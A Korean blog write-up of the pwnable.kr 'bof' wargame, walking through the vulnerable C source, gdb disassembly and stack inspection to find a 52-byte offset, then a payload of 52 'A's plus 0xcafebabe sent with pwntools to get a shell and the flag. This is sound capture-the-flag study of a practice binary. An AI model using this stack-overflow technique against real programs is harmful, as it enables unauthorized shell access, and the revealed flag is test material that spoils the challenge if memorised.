이 문제 클릭

문제 접속하기

터미널에서 접속하기

문제에 써있던 비밀번호 치면 접속된다.

ls해서 파일 목록 보기

readme파일부터 내용 확인하기
cat readme
9000 포트에 접속해야 flag 파일을 읽을 수 있다.

bof.c파일도 내용 확인하기
cat bof.c

분석
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
//int 인자 필요
char overflowme[32];
//문자열, 32바이트
printf("overflow me : ");
gets(overflowme); // smash me!
//얼만큼 입력받을지 설정 X
//-> overflowme보다 더 큰 크기로도 입력 가능(스택 BOF 취약점)
if(key == 0xcafebabe){
//key값이 0xcafebabe와 같으면 권한 상승, 쉘 획득
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){ //메인 함수!
func(0xdeadbeef);
//인자를 0xdeadbeef로 줌
//-> 원래라면 쉘 획득 불가
return 0;
}
gdb 활용할 것이다 - 어떤 스택주소에 있는지 확인 가능
접속하기
gdb bof

disass main
main함수의 어셈블리가 출력된다

인자값(0xdeadbeef)을 스택에 넣고, fun()를 호출한다

disass func
아래처럼 출력된다.
Dump of assembler code for function func:
0x000011fd <+0>: push ebp
0x000011fe <+1>: mov ebp,esp
0x00001200 <+3>: push esi
0x00001201 <+4>: push ebx
0x00001202 <+5>: sub esp,0x30
0x00001205 <+8>: call 0x1100 <__x86.get_pc_thunk.bx>
0x0000120a <+13>: add ebx,0x2df6
0x00001210 <+19>: mov eax,gs:0x14
0x00001216 <+25>: mov DWORD PTR [ebp-0xc],eax
0x00001219 <+28>: xor eax,eax
0x0000121b <+30>: sub esp,0xc
0x0000121e <+33>: lea eax,[ebx-0x1ff8]
0x00001224 <+39>: push eax
0x00001225 <+40>: call 0x1050 <printf@plt>
0x0000122a <+45>: add esp,0x10
0x0000122d <+48>: sub esp,0xc
0x00001230 <+51>: lea eax,[ebp-0x2c]
0x00001233 <+54>: push eax
0x00001234 <+55>: call 0x1060 <gets@plt>
0x00001239 <+60>: add esp,0x10
0x0000123c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x00001243 <+70>: jne 0x1272 <func+117>
0x00001245 <+72>: call 0x1080 <getegid@plt>
0x0000124a <+77>: mov esi,eax
0x0000124c <+79>: call 0x1080 <getegid@plt>
0x00001251 <+84>: sub esp,0x8
0x00001254 <+87>: push esi
0x00001255 <+88>: push eax
0x00001256 <+89>: call 0x10b0 <setregid@plt>
0x0000125b <+94>: add esp,0x10
0x0000125e <+97>: sub esp,0xc
0x00001261 <+100>: lea eax,[ebx-0x1fe9]
0x00001267 <+106>: push eax
0x00001268 <+107>: call 0x10a0 <system@plt>
0x0000126d <+112>: add esp,0x10
0x00001270 <+115>: jmp 0x1284 <func+135>
0x00001272 <+117>: sub esp,0xc
0x00001275 <+120>: lea eax,[ebx-0x1fe1]
0x0000127b <+126>: push eax
0x0000127c <+127>: call 0x1090 <puts@plt>
0x00001281 <+132>: add esp,0x10
0x00001284 <+135>: nop
0x00001285 <+136>: mov eax,DWORD PTR [ebp-0xc]
0x00001288 <+139>: sub eax,DWORD PTR gs:0x14
0x0000128f <+146>: je 0x1296 <func+153>
0x00001291 <+148>: call 0x12e0 <__stack_chk_fail_local>
0x00001296 <+153>: lea esp,[ebp-0x8]
0x00001299 <+156>: pop ebx
0x0000129a <+157>: pop esi
0x0000129b <+158>: pop ebp
0x0000129c <+159>: ret
End of assembler dump.
소스코드에서 봤던 gets(overflowme); 부분이다


이게 인자이다.

이 계산한 주소를 eax에 넣는 것이다.

즉 인자값은 ebp-0x2c이다.
방법2) 실제 값을 보며 공간 차이 구하기
overflowme값 입력받은 뒤에 브레이크 포인트 걸기
b *func+63

run 하기

OVERFLOWME에 아무거나 쳐보기
AAAA 넣었다

x/30x $esp
현재 esp부터 30개의 스택값을 16진수로 출력하는 명령어다.
한 개 = 4byte
대문자 A = ASCII로 0x41
인자의 주소 = 0xdeadbeef가 저장된 주소 = 0xffffd530
0x41414141 ~ 0xdeadbeef 사이의 공간
= 0xffffd530 - 0xffffd4fc
= 0x34
= 52byte

exploit
overflowme ~ 0xdeadbeef까지의 공간은 아무 값을 채워도 상관없음 (보통은 ‘A’로 채움)
0xdeadbeef~ 부터는 0xcafebabe를 넣어야함
→ (‘A’*52개 + 0xcafebabe) 를 입력하면 됨!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0xcafebabe
나오기

파이썬 스크립트 :
- 짧을때는 아래처럼 바로 작성해도 됨
- 길면?
- 여기서 파일 만든 후 작성해도 되고
- wsl이라 내 컴퓨터에 있는 스크립트도 가져올 수 있음
저번에 설치한 pwntools를 사용.
- from pwn import *
- : pwntools 사용할 때 필수로 넣어야 함!
- remote(’호스트’, 포트)
- : 접속
- sendline()
- : 인자값을 접속한 곳에 보냄
- b’’
- : 바이트(bytes)로 형변환
- *bytes: b’\x00\x00 …’로 인코딩 되는 타입. ≠ 문자열
- *문자열과 같이 사용: bytes를 디코딩 or 문자열을 인코딩
- p32()
- : little endian으로 변형
- 네트워크와 시스템은 사용하는 엔디안 표기법이 상반되기 때문.
- interactive()
- : 실시간 송수신할 수 있도록 해줌
파이썬 명령 실행하기

ls하면 파일 목록 뜬다
flag 있다

flag 파일 내용 보기
플래그 나왔다.

Daddy_I_just_pwned_a_buff3r!
성공했다.

'System Hacking > 인터루드 스터디' 카테고리의 다른 글
| [picoCTF] buffer overflow 2 (0) | 2026.04.02 |
|---|---|
| [picoCTF] buffer overflow 1 (0) | 2026.04.02 |
| [picoCTF:] buffer overflow 0 (0) | 2026.04.02 |
| [pwnable.kr] fd (0) | 2026.03.26 |
| [워게임] 드림핵 : Welcome (0) | 2026.03.19 |